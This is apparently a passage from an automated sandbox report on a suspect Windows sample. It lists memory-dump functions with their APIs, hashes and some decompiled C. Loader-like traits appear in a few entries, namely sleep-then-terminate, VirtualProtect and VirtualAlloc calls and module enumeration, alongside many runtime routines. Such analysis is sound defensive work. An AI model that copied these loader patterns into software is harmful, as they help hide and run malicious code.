Sleep.KERNELBASE(00001388), ref: 00401975
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040199D

Memory Dump Source

Source File: 00000011.00000002.369788826.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1a9978d9b5f9b771fc7abb4f7335fdbd77f3de47f634a686ed35e0b73c86497d
Instruction ID: 0afda5ea5482ca317b239c5736bf45b38e37598d1d24d957277b29e3f1ce3eae
Opcode Fuzzy Hash: 1a9978d9b5f9b771fc7abb4f7335fdbd77f3de47f634a686ed35e0b73c86497d
Instruction Fuzzy Hash: EA01ADF2208209F6DF006AA18DA2EBA36289B01354F200237B613B80F1C57D8912E77F

Uniqueness

Uniqueness Score: -1.00%

Function 00401947, Relevance: 3.0, APIs: 2, Instructions: 44
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00401947(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t11;
				void* _t13;
				intOrPtr* _t16;
				void* _t21;
				void* _t26;

				_t29 = __eflags;
				_t24 = __esi;
				_t22 = __edi;
				asm("outsd");
				_push(0x60);
				E00401277(0x196d, __ebx, __edi, __esi, _t26, __eflags);
				_t16 =  *((intOrPtr*)(_t26 + 8));
				Sleep(0x1388);
				_t3 = _t26 - 4; // 0x6d74c454
				_t11 = E004014C6(_t21, _t29, _t16,  *((intOrPtr*)(_t26 + 0xc)),  *((intOrPtr*)(_t26 + 0x10)), _t3); // executed
				_t30 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t26 + 0x14)));
					_push( *((intOrPtr*)(_t26 - 4)));
					_push(_t11);
					_push(_t16); // executed
					E0040158E(_t16, _t22, _t24); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_t13 = 0x196d;
				return E00401277(_t13, _t16, _t22, _t24, _t26, _t30);
			}

0x00401947
0x00401947
0x00401947
0x00401949
0x0040195e
0x00401968
0x0040196d
0x00401975
0x00401978
0x00401983
0x00401988
0x0040198a
0x0040198c
0x0040198f
0x00401992
0x00401993
0x00401994
0x00401994
0x0040199d
0x004019ac
0x004019d1

APIs

Sleep.KERNELBASE(00001388), ref: 00401975
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040199D

Memory Dump Source

Source File: 00000011.00000002.369788826.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 16a14a9a36b8fb2956a1118e0d7637d04b961880047010fc3d342311686654ee
Instruction ID: f5571db122147025026cbd90472d120537b67d68ca61a26d356da5241f38e411
Opcode Fuzzy Hash: 16a14a9a36b8fb2956a1118e0d7637d04b961880047010fc3d342311686654ee
Instruction Fuzzy Hash: C8F04FB2304249F6DF006AE59EA1EBA36559B05314F304637B613B80F1C63D8912E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401951, Relevance: 3.0, APIs: 2, Instructions: 44
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00401951(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t11;
				void* _t13;
				intOrPtr* _t16;
				void* _t25;

				_t28 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				_push(0x60);
				E00401277(0x196d, __ebx, __edi, __esi, _t25, __eflags);
				_t16 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_t3 = _t25 - 4; // 0x6d74c454
				_t11 = E004014C6(0xc5, _t28, _t16,  *((intOrPtr*)(_t25 + 0xc)),  *((intOrPtr*)(_t25 + 0x10)), _t3); // executed
				_t29 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t11);
					_push(_t16); // executed
					E0040158E(_t16, _t21, _t23); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_t13 = 0x196d;
				return E00401277(_t13, _t16, _t21, _t23, _t25, _t29);
			}

0x00401951
0x00401951
0x00401951
0x0040195e
0x00401968
0x0040196d
0x00401975
0x00401978
0x00401983
0x00401988
0x0040198a
0x0040198c
0x0040198f
0x00401992
0x00401993
0x00401994
0x00401994
0x0040199d
0x004019ac
0x004019d1

APIs

Sleep.KERNELBASE(00001388), ref: 00401975
NtTerminateProcess.NTDLL(000000FF,00000000), ref: 0040199D

Memory Dump Source

Source File: 00000011.00000002.369788826.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 59a9e369fe74b50a35279fc1ab413491a692258faa6e0d31dd86055c0e4398fa
Instruction ID: 3f613a8e0615f1e78f1be87f7705c95df704b5c8d3b73afb4f46b7ce5dc05311
Opcode Fuzzy Hash: 59a9e369fe74b50a35279fc1ab413491a692258faa6e0d31dd86055c0e4398fa
Instruction Fuzzy Hash: 12F044B2304249F7DF005A919DA1EBA36659B05714F200537B613B80F1C57D8512F72F

Uniqueness

Uniqueness Score: -1.00%

Function 0041ACF0, Relevance: 62.0, APIs: 1, Strings: 34, Instructions: 794memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000040,00000000), ref: 0041C921

Strings

|~, xrefs: 0041BC94
*9ix, xrefs: 0041B735
PV, xrefs: 0041BCC0
Ig, xrefs: 0041BF68
1s<R, xrefs: 0041B6C5
>e] , xrefs: 0041BEBB
F[x`, xrefs: 0041B222
[(, xrefs: 0041C097
k/^, xrefs: 0041BDC1
qcc-, xrefs: 0041B46C
IkL, xrefs: 0041B0DC
Sst1, xrefs: 0041B180
kOon, xrefs: 0041B00E
p0SP, xrefs: 0041B1EE
VirtualProtect, xrefs: 0041B7DE, 0041B7E3, 0041C8C4
/><, xrefs: 0041B3E9
9o, xrefs: 0041B9F4
R$#, xrefs: 0041B459
SKCo, xrefs: 0041B019
*E[o, xrefs: 0041B113
FW,(, xrefs: 0041B986
N%z", xrefs: 0041B316
lh;_, xrefs: 0041B8F7
y]n6, xrefs: 0041BDCC
w/a, xrefs: 0041B37B
g$0, xrefs: 0041BAAC
=:6U, xrefs: 0041B30E
H/P, xrefs: 0041C252
CWv, xrefs: 0041B923
Dx8|, xrefs: 0041B902
JfG, xrefs: 0041AE88
[qFq, xrefs: 0041B149
(::L, xrefs: 0041B0F2
T, xrefs: 0041C0AD

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: w/a$g$0$PV$(::L$*9ix$*E[o$/><$1s<R$=:6U$>e] $Dx8|$FW,($F[x`$IkL$Ig$JfG$N%z"$R$#$SKCo$Sst1$T$VirtualProtect$[qFq$[($k/^$kOon$lh;_$p0SP$qcc-$y]n6$9o$CWv$H/P$|~
API String ID: 544645111-66855312
Opcode ID: b9be011763a2fb58e0054c15f96da36981cdf675d4122b25e1296a6946073bd5
Instruction ID: 28f019a1d04dc0b5418d6a354c80174508fe4464ce0478ada0238074877ed3ba
Opcode Fuzzy Hash: b9be011763a2fb58e0054c15f96da36981cdf675d4122b25e1296a6946073bd5
Instruction Fuzzy Hash: 88C2CAB450D3C08BD2B58F1A858978FFBE4BB95708F508A0CE6D95B611CB718A85CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 004234E0, Relevance: 16.6, APIs: 11, Instructions: 114COMMON

Download Yara Rule

APIs

_check_managed_app.LIBCMTD ref: 0042355C
__heap_init.LIBCMTD ref: 00423566

Part of subcall function 00433C00: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0042356B,00000001), ref: 00433C16

_fast_error_exit.LIBCMTD ref: 00423574

Part of subcall function 004236C0: ___crtExitProcess.LIBCMTD ref: 004236E4

__mtinit.LIBCMTD ref: 0042357C
_fast_error_exit.LIBCMTD ref: 00423587
__RTC_Initialize.LIBCMTD ref: 00423599
___crtGetEnvironmentStringsW.LIBCMTD ref: 004235C2
___wsetargv.LIBCMTD ref: 004235CC
__wsetenvp.LIBCMTD ref: 004235DF
__cinit.LIBCMTD ref: 004235F4
__wwincmdln.LIBCMTD ref: 00423611

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 20a56575ae93d3650bf24b493235238bf6e89564cb2478d959f991eca20672fd
Instruction ID: c4296a4faba0d5eda460293f8b2d8abf8d285cedf06a52d5e7387ddaa75a0859
Opcode Fuzzy Hash: 20a56575ae93d3650bf24b493235238bf6e89564cb2478d959f991eca20672fd
Instruction Fuzzy Hash: E441C8B1E00318BAD710EFB2FD0679E76B4AB04719F50012EF40997282E77D96008B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00423555, Relevance: 16.6, APIs: 11, Instructions: 88COMMON

Download Yara Rule

APIs

_check_managed_app.LIBCMTD ref: 0042355C
__heap_init.LIBCMTD ref: 00423566

Part of subcall function 00433C00: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0042356B,00000001), ref: 00433C16

_fast_error_exit.LIBCMTD ref: 00423574

Part of subcall function 004236C0: ___crtExitProcess.LIBCMTD ref: 004236E4

__mtinit.LIBCMTD ref: 0042357C
_fast_error_exit.LIBCMTD ref: 00423587
__RTC_Initialize.LIBCMTD ref: 00423599
___crtGetEnvironmentStringsW.LIBCMTD ref: 004235C2
___wsetargv.LIBCMTD ref: 004235CC
__wsetenvp.LIBCMTD ref: 004235DF
__cinit.LIBCMTD ref: 004235F4
__wwincmdln.LIBCMTD ref: 00423611

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 13423e202e7a58267f3f55f80a8a9818587dc056c0c7ab9dbd78dc0a56904b56
Instruction ID: 58ea7016c38aa4e594a13d1bd1c6543b97cc611fb78cecc77422fae1e89442be
Opcode Fuzzy Hash: 13423e202e7a58267f3f55f80a8a9818587dc056c0c7ab9dbd78dc0a56904b56
Instruction Fuzzy Hash: 463144B1F003247AEB10AFB2B90775E7674AB1431DF50052EE90957283F6BD96418B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00424DB7, Relevance: 7.8, APIs: 5, Instructions: 252COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 00424DDA
__heap_alloc_base.LIBCMTD ref: 00424F61
_memset.LIBCMT ref: 004250A9
_memset.LIBCMT ref: 004250C6
_memset.LIBCMT ref: 004250E1

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID:
API String ID: 4254127243-0
Opcode ID: 0b23ad2e7bfe5d860bb4f2db0e704635e5cc85a032fe317be9af9f6b6d2a167d
Instruction ID: 1d6e0c5a0109c797299bb2923c89682e7408fed3591947e654932ce5f33814f8
Opcode Fuzzy Hash: 0b23ad2e7bfe5d860bb4f2db0e704635e5cc85a032fe317be9af9f6b6d2a167d
Instruction Fuzzy Hash: 28A15C74A00318DFDB14CF48E981BAA7BB0FB88315F24816AE515AB391D379ED44CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00432E60, Relevance: 6.3, APIs: 4, Instructions: 326COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 00432EEB
__nh_malloc_dbg.LIBCMTD ref: 00433017

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: c0f71300fb99a17aebe09299377a4987d8d27eb8d1dd4ca988500b6b7fba545f
Instruction ID: 464f32aa7de72b83fa673ebce4e88a7f25332abf2c6c53f107f7426b4b7e1274
Opcode Fuzzy Hash: c0f71300fb99a17aebe09299377a4987d8d27eb8d1dd4ca988500b6b7fba545f
Instruction Fuzzy Hash: 46E10874E04248CFDB24CFA8C894BAEFBB1BB49315F24825ED4656B392C7359942CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00424D1F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

QQ, xrefs: 00424D19

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 5a4cefda0844be5663b248d3b4140914fbb989cdbf8075c6b5c2b9370d474441
Instruction ID: e068424986e6b0015de0c2819870468599843e6b294b68a55d618a14974dc8b0
Opcode Fuzzy Hash: 5a4cefda0844be5663b248d3b4140914fbb989cdbf8075c6b5c2b9370d474441
Instruction Fuzzy Hash: BE0119B5B10119EBDB14CF54F880AAB77B4EBC8304F90815AF8158B240D378EE52DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0042512E, Relevance: 3.1, APIs: 2, Instructions: 62COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0042518D
_memset.LIBCMT ref: 004251D9

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter_memset
String ID:
API String ID: 3961059608-0
Opcode ID: e48392b6c7511a6d38d4083fc33270918b339852cb7f3cda31c00d3e965a3eab
Instruction ID: 99ab8d1f36e6e1ebba7e0c593a17ea5259723433611ee9d53a8f2a175ac5d7e6
Opcode Fuzzy Hash: e48392b6c7511a6d38d4083fc33270918b339852cb7f3cda31c00d3e965a3eab
Instruction Fuzzy Hash: D811C8B1B40204BBCB04DF54EC42F5E37A8AB54704F50C15AF908AB2C1D678EF10CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00787ECE, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 00787F16

Memory Dump Source

Source File: 00000011.00000002.370086120.0000000000783000.00000040.00000001.sdmp, Offset: 00783000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 775740964e19808914b6a78dc88ae1306a61a93386c4d4f975bde1ae53b709a6
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 2DF0F6321443116BD7243BF6A88CBAE76ECAF48325F200569E643914C0DBB4EC45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00432ED4, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 00432EEB
__nh_malloc_dbg.LIBCMTD ref: 00433017

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: fffe5a05e61990dd2a135c349ea6a216f840e1672319c85ebccd46cf4489ec26
Instruction ID: 8ad3abc6a0c3d2189f74fc65ef30e2723389f83c5d1bc21fdaab64411c011c21
Opcode Fuzzy Hash: fffe5a05e61990dd2a135c349ea6a216f840e1672319c85ebccd46cf4489ec26
Instruction Fuzzy Hash: D4E02071F8470499D7308B555C077687320E704735F60836FD235361C1D6B511008F09

Uniqueness

Uniqueness Score: -1.00%

Function 0042EC10, Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 0042EC17

Part of subcall function 0042EB40: __crt_wait_module_handle.LIBCMTD ref: 0042EB8C
Part of subcall function 0042EB40: RtlEncodePointer.NTDLL(?), ref: 0042EBC7

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: ca3bb93ff45a55e1c9c205d3af94546bf3f1e89c60e368c40be708a0837e9a1b
Instruction ID: 6f2b92429c13a5953b755885e49409bb3b6b319ed74be1ce1c640177e5cfe840
Opcode Fuzzy Hash: ca3bb93ff45a55e1c9c205d3af94546bf3f1e89c60e368c40be708a0837e9a1b
Instruction Fuzzy Hash: C2A0126254420823D04030833813B02790C43C0639E4C0021F60D051422842B4104097

Uniqueness

Uniqueness Score: -1.00%

Function 004234C0, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 004234C5

Part of subcall function 004234E0: _check_managed_app.LIBCMTD ref: 0042355C
Part of subcall function 004234E0: __heap_init.LIBCMTD ref: 00423566
Part of subcall function 004234E0: _fast_error_exit.LIBCMTD ref: 00423574
Part of subcall function 004234E0: __mtinit.LIBCMTD ref: 0042357C
Part of subcall function 004234E0: _fast_error_exit.LIBCMTD ref: 00423587
Part of subcall function 004234E0: __RTC_Initialize.LIBCMTD ref: 00423599
Part of subcall function 004234E0: ___crtGetEnvironmentStringsW.LIBCMTD ref: 004235C2
Part of subcall function 004234E0: ___wsetargv.LIBCMTD ref: 004235CC
Part of subcall function 004234E0: __wsetenvp.LIBCMTD ref: 004235DF
Part of subcall function 004234E0: __cinit.LIBCMTD ref: 004235F4
Part of subcall function 004234E0: __wwincmdln.LIBCMTD ref: 00423611

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: ed77464eb8862c02e5a4258c802415a926824b731f688e607adee3ad985c05c6
Instruction ID: 9ebe18ec82d4d15ee476d857766174c6bdd332a121b3df26ac61f1be310b02cc
Opcode Fuzzy Hash: ed77464eb8862c02e5a4258c802415a926824b731f688e607adee3ad985c05c6
Instruction Fuzzy Hash: 6CA02222000A2C0308223BE3300380A320C08C032EBC200BBB83C020030C0EBE0080AE

Uniqueness

Uniqueness Score: -1.00%

Function 00787B8D, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00787BDE

Memory Dump Source

Source File: 00000011.00000002.370086120.0000000000783000.00000040.00000001.sdmp, Offset: 00783000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 87e9cc27f0580c73ed85532f8eafbe397e0ed2dbe5bf0e33c4091642484dcbf6
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 16113F79A40208EFDB01DF98C985E98BBF5AF08350F1580A4F9499B362D375EA90DF90

Uniqueness

Uniqueness Score: -1.00%

Function 0041C92B, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,0041CE7D,?,?,?,?,00423645,00400000,00000000,?,0000000A), ref: 0041C933

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 4b58f2a9ff7883878600db57692c0094cdcdbfc0774de0bc8ee88b7fd2131600
Instruction ID: 02b34e6ad64935d866b02a7ad3d8adf186fdb8b1a1fb809bfe37f0ce95fbd004
Opcode Fuzzy Hash: 4b58f2a9ff7883878600db57692c0094cdcdbfc0774de0bc8ee88b7fd2131600
Instruction Fuzzy Hash: 7DB01271410300CFDB004FB0AD067003E60A304713F004034E30C915B1C73044009F18

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042F6DE, Relevance: 51.2, APIs: 25, Strings: 4, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0042F722
_wcscat_s.LIBCMTD ref: 0042F93A

Part of subcall function 00439350: __invalid_parameter.LIBCMTD ref: 004393C2

__invoke_watson_if_error.LIBCMTD ref: 0042F943

Part of subcall function 00422A70: __invoke_watson.LIBCMTD ref: 00422A91

_wcscat_s.LIBCMTD ref: 0042F972

Part of subcall function 00439350: _memset.LIBCMT ref: 0043942B
Part of subcall function 00439350: __invalid_parameter.LIBCMTD ref: 00439487

__invoke_watson_if_error.LIBCMTD ref: 0042F97B
__snwprintf_s.LIBCMTD ref: 0042F9D4

Part of subcall function 00436E30: __vsnprintf_s_l.LIBCMTD ref: 00436E52

__invoke_watson_if_oneof.LIBCMTD ref: 0042FA0D
_wcscpy_s.LIBCMTD ref: 0042FA52
__invoke_watson_if_error.LIBCMTD ref: 0042FA5B
__cftoe.LIBCMTD ref: 0042FACF
__invoke_watson_if_oneof.LIBCMTD ref: 0042FAFE
_wcscpy_s.LIBCMTD ref: 0042FB36
__invoke_watson_if_error.LIBCMTD ref: 0042FB3F
__itow_s.LIBCMTD ref: 0042F719

Part of subcall function 00429840: _xtow_s@20.LIBCMTD ref: 0042986B

__strftime_l.LIBCMTD ref: 0042F7D9
__invoke_watson_if_oneof.LIBCMTD ref: 0042F812
_wcscpy_s.LIBCMTD ref: 0042F857
__invoke_watson_if_error.LIBCMTD ref: 0042F860
_wcscpy_s.LIBCMTD ref: 0042F8B3
__invoke_watson_if_error.LIBCMTD ref: 0042F8BC
_wcscat_s.LIBCMTD ref: 0042F8ED
__invoke_watson_if_error.LIBCMTD ref: 0042F8F6

Strings

t8j, xrefs: 0042FB0D
t9j, xrefs: 0042FD65
hx_@, xrefs: 0042F8D0
hx_@, xrefs: 0042FAE9

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: hx_@$hx_@$t8j$t9j
API String ID: 2582952045-1707723877
Opcode ID: 5bdd61315b5de1141821f34d4f66a059573e4d1989bd6cab6ea5258daef66be1
Instruction ID: 876a4c81be37a31778ac198fabfa9a24270b37a21378cf78e8776fcfe0e35468
Opcode Fuzzy Hash: 5bdd61315b5de1141821f34d4f66a059573e4d1989bd6cab6ea5258daef66be1
Instruction Fuzzy Hash: 6F0296B0A40728ABDB20DF50EC4AF9F7374AB48745F9041BAF509762C1D7B85A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0043EA43, Relevance: 25.8, APIs: 17, Instructions: 296COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043EA8B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043EAC1
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043EAE2
wcsncnt.LIBCMTD ref: 0043EB19
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043EB7F
_wcslen.LIBCMTD ref: 0043ED8F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043ED9D

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~_$_wcslenwcsncnt
String ID:
API String ID: 1043867012-0
Opcode ID: a8ffe6901c5590db246b1764e7c65ab74768f6dd80f77168b5b8b69f5ad94237
Instruction ID: 33d6e4121f9747ef53f5616068873bfd9d6df53fdaaafae9c0bdec0403de4805
Opcode Fuzzy Hash: a8ffe6901c5590db246b1764e7c65ab74768f6dd80f77168b5b8b69f5ad94237
Instruction Fuzzy Hash: CED13731A01118DFCF14DF95D895BEEBBB1BF48304F60915AE4266B2E1DB38AE41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043CF69, Relevance: 24.9, APIs: 11, Strings: 3, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043CFF8
_get_int64_arg.LIBCMTD ref: 0043D020
__aullrem.LIBCMT ref: 0043D1C5
__aulldiv.LIBCMT ref: 0043D1E7
_write_multi_char.LIBCMTD ref: 0043D2EE
_write_string.LIBCMTD ref: 0043D309
_write_multi_char.LIBCMTD ref: 0043D335
_wctomb_s.LIBCMTD ref: 0043D3B2

Strings

-, xrefs: 0043D28E
_output_s_l, xrefs: 0043C65E
9, xrefs: 0043D1F8

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9$_output_s_l
API String ID: 3451365851-2997124954
Opcode ID: c34fdc31b3d6dfc56024792464813d90b10f6a2b54b22b933658048f8c939edd
Instruction ID: 057d0e0b532a5f34e1f70459ac0f7b82f93ef58941437c4aa4933052d210732c
Opcode Fuzzy Hash: c34fdc31b3d6dfc56024792464813d90b10f6a2b54b22b933658048f8c939edd
Instruction Fuzzy Hash: B3F138B1D012299FDF24DF58DC89BAEB7B1BB48304F1491DAE419A7281D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042BE8B, Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042BF20
_get_int64_arg.LIBCMTD ref: 0042BF48
__aullrem.LIBCMT ref: 0042C0F0
__aulldiv.LIBCMT ref: 0042C112
_write_multi_char.LIBCMTD ref: 0042C22B
_write_string.LIBCMTD ref: 0042C246
_write_multi_char.LIBCMTD ref: 0042C272
__mbtowc_l.LIBCMTD ref: 0042C2E1

Strings

9, xrefs: 0042C123

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: 018d3b48c7647d4f98e7a45b89857224bcc677ec28df479b3300f214192bf2f9
Instruction ID: cac759e53a3d4d55eadbcad45a721fa7f27d4d674edd159a0287911f5da512d1
Opcode Fuzzy Hash: 018d3b48c7647d4f98e7a45b89857224bcc677ec28df479b3300f214192bf2f9
Instruction Fuzzy Hash: 2FF119B1E002299FDB24CF94DC81BAEB7B5FF45304F54819AE509A7241D738AE84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0043CCC7, Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 241COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 0043CCD9
__invalid_parameter.LIBCMTD ref: 0043CD60
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043CD75
_write_multi_char.LIBCMTD ref: 0043D2EE
_write_string.LIBCMTD ref: 0043D309
_write_multi_char.LIBCMTD ref: 0043D335
_wctomb_s.LIBCMTD ref: 0043D3B2

Strings

-, xrefs: 0043D28E
_output_s_l, xrefs: 0043C65E, 0043CD56

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_wctomb_s_write_string
String ID: -$_output_s_l
API String ID: 4103101190-3200142626
Opcode ID: e09871d713c7fce511c34ab3ccad626a40740fb1bc897f036003ce28900ffafd
Instruction ID: 862ad3d9e1f39e02914d29a2d06071da4c75001e9d4414168410740683d5eba7
Opcode Fuzzy Hash: e09871d713c7fce511c34ab3ccad626a40740fb1bc897f036003ce28900ffafd
Instruction Fuzzy Hash: F9A19FB0D012289BDF24DF55DC89BEEB7B0EB48304F1091DAE4197A281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043CB15, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0043CB49
_write_multi_char.LIBCMTD ref: 0043D2EE
_write_string.LIBCMTD ref: 0043D309
_write_multi_char.LIBCMTD ref: 0043D335
_wctomb_s.LIBCMTD ref: 0043D3B2

Strings

-, xrefs: 0043D28E
_output_s_l, xrefs: 0043C65E

Memory Dump Source

Source File: 00000011.00000002.369808653.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$_strlen_wctomb_s_write_string
String ID: -$_output_s_l
API String ID: 433996309-3200142626
Opcode ID: 722ba824d80c1d1e3cf7603c54c57d3f1f93d4b9ec2d8cb78bea161389f9ac9c
Instruction ID: 4e01ee97c29d4fa2e604f8a132b6f0365d7af617ffca67a9c423443c0e708d73
Opcode Fuzzy Hash: 722ba824d80c1d1e3cf7603c54c57d3f1f93d4b9ec2d8cb78bea161389f9ac9c
Instruction Fuzzy Hash: 55A16AB0D012289FDB24CF54DC89BEEB7B1AB48305F1491DAE4197B291D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

